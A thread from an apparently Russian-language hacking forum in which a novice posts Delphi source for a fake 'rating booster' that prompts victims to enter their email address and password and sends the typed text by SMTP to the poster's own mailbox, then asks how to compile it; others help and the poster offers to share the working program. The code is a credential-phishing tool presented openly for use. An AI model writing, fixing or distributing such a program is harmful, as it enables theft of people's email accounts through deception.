Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование

народ плз помогите с делфи.
кароче разузнал я как зделать прогу:вводиш в окошко текст и жмеш ок
дальше прога шлет текст з одного емейла на мой второй(типа виглядит так: ПОДНЯТИЕ РЕЙТИНГА тут введите свой емейл адрес
а тут пасс
штоб поднять рейтинг жми здесь )
ну зделал все,а как мне зделать ее в *.ехе или чота типа етого?штоб сразу запускалась как на ярлик жмеш?
помогите нубу javascript:emoticon(':cry:')

_________________
в рот мне ноги
не пю с малой посуди

Ну ты даешь - скачай Delphi (среду разработки) и скомпилируй там программу!

мне там ошибку видает:(
вот текст кода
unit parol;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdMessage, IdBaseComponent, IdComponent, IdUDPBase,
IdUDPClient, IdSNMP, IdTCPConnection, IdTCPClient, IdMessageClient,
IdSMTP, ComCtrls;

type
TForm1 = class(TForm)
IdMessage1: TIdMessage;
Edit1: TEdit;
Button1: TButton;
IdSMTP1: TIdSMTP;
StaticText1: TStaticText;
StaticText2: TStaticText;
StaticText3: TStaticText;
StaticText4: TStaticText;
StaticText5: TStaticText;
StaticText6: TStaticText;
StaticText7: TStaticText;
StaticText8: TStaticText;
StaticText9: TStaticText;
StaticText10: TStaticText;
StaticText11: TStaticText;
StaticText12: TStaticText;
StaticText13: TStaticText;
StaticText14: TStaticText;
StaticText15: TStaticText;
TrackBar1: TTrackBar;
Label1: TLabel;
Button2: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=2525;
IdSMTP1.Username:='з якого мейла слати@mail.ru';
IdSMTP1.Password:='пассворд до нього';
IdSMTP1.AuthenticationType:=atLogin;
with IdMessage1 do /\////\/\\\\\\\\\\\\\\\\\\а вот тут ошибку видает
begin
Body.Text:=Edit1.Text;
From.Text :='з якого мейла слати@mail.ru';
Recipients.EMailAddresses :='одержувач@mail.ru';
Subject :='тема письма';
end;
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
end;

end.

_________________
в рот мне ноги
не пю с малой посуди

ALKASH
А какая конкретно ошибка (какой текст выдает) (мне лень проверять))..

да все уже я сам нашол(я не ту штучку кинув на прогу,потім замінив і все ок)
если хотите протестить могу пргу на мейл кинути

_________________
в рот мне ноги
не пю с малой посуди

вируси - это зло!

_________________
СРУБИ БАБКИ!!!